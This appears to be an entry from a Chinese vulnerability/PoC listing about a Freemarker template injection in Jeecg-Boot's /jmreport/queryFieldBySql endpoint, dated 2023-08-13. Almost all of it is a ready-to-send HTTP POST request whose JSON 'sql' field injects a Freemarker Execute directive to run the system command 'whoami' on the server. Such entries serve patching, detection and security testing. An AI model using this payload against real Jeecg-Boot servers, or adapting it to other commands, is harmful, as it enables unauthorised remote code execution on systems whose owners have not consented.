Jeecg-Boot Freemarker /jmreport/queryFieldBySql 模版注入漏洞

日期: 2023-08-13 | 影响软件: Jeecg | POC: 已公开

漏洞描述

Jeecg-Boot Freemarker /queryFieldBySql 模版注入漏洞

PoC代码

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 100
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0

{"sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'"}

相关漏洞推荐